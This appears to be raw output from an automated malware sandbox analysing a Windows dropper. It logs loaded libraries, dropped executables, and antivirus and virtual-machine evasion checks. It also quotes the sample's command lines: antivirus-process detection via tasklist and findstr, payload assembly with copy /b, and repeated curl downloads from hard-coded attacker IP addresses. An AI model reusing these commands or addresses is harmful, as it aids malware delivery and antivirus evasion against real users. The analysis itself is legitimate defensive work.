Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: vqMMwqCFZQ.exe

Static file information: File size 1069345 > 1048576

Source: vqMMwqCFZQ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: C.pdb source: azvw.exe, 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmp, nircmdc.exe.50.dr

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: 7zxa.dll.50.dr	Static PE information: section name: .sxdata
Source: 7za.dll.50.dr	Static PE information: section name: .sxdata
Source: 7za.exe.50.dr	Static PE information: section name: .sxdata

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_004080D0 push dword ptr [edi+ecx-75h]; retf	50_2_004080DA
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_0041B280 push eax; ret	50_2_0041B2AE
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_00407E8F push dword ptr [edi+ecx-75h]; retf	50_2_00407E99

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\139918\Ur.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\303482\Either.pif			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	File created: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\7za.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\303482\Either.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	File created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\7za.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\7zxa.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	File created: C:\Users\user\AppData\Roaming\DolphinDumps\zip.exe	Jump to dropped file

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\7za.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\303482\Either.pif	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\7za.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\zip.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DolphinDumps\7zxa.dll	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_50-14249

Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif TID: 3468

Thread sleep time: -15120000s >= -30000s

Jump to behavior

Source: C:\Windows\SysWOW64\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_0041C29C FindFirstFileA,GetDriveTypeA,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,	50_2_0041C29C
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 50_2_004107A0 FindFirstFileA,	50_2_004107A0
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_004062D5 FindFirstFileW,FindClose,	86_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_00402E18 FindFirstFileW,	86_2_00402E18
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 86_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	86_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\139918\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\139918	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: curl.exe, 00000040.00000003.2845869310.0000000003280000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000059.00000003.3065458553.0000000003080000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllm
Source: curl.exe, 00000020.00000003.2621923061.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000003.2639184295.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000061.00000003.3105199413.0000000003590000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll
Source: curl.exe, 0000002F.00000003.2756663510.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll_
Source: curl.exe, 00000016.00000003.2519800125.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001A.00000003.2589094875.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001D.00000003.2605564917.0000000000CA0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000003.2666266763.0000000003210000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000029.00000003.2685688683.0000000003260000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002C.00000003.2702350921.0000000000B00000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000035.00000003.2782045185.0000000000A50000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000038.00000003.2799289711.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000043.00000003.2876292137.0000000003221000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000046.00000003.2895039416.0000000003550000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000049.00000003.2912432151.0000000000D10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Code function: 50_2_004125F0 LeaveCriticalSection,CreateFileA,EnterCriticalSection,CreateFileA,GetKernelObjectSecurity,GetKernelObjectSecurity,GetLastError,GetProcessHeap,HeapAlloc,GetKernelObjectSecurity,SetKernelObjectSecurity,GetProcessHeap,HeapFree,CloseHandle,CreateFileA,CloseHandle,

50_2_004125F0

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Trees Trees.bat & Trees.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 139918	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "SyntaxMilesImperialTriple" Credits	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Asked + ..\Leaving + ..\During + ..\Chairman + ..\Bracket + ..\Label + ..\Perhaps v	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\139918\Ur.pif Ur.pif v	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\807 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\807 > C:\Users\user\AppData\Local\temp\237	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C cd "C:\Users\user\AppData\Roaming\DolphinDumps" & azvw.exe -o xhwq.zip	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
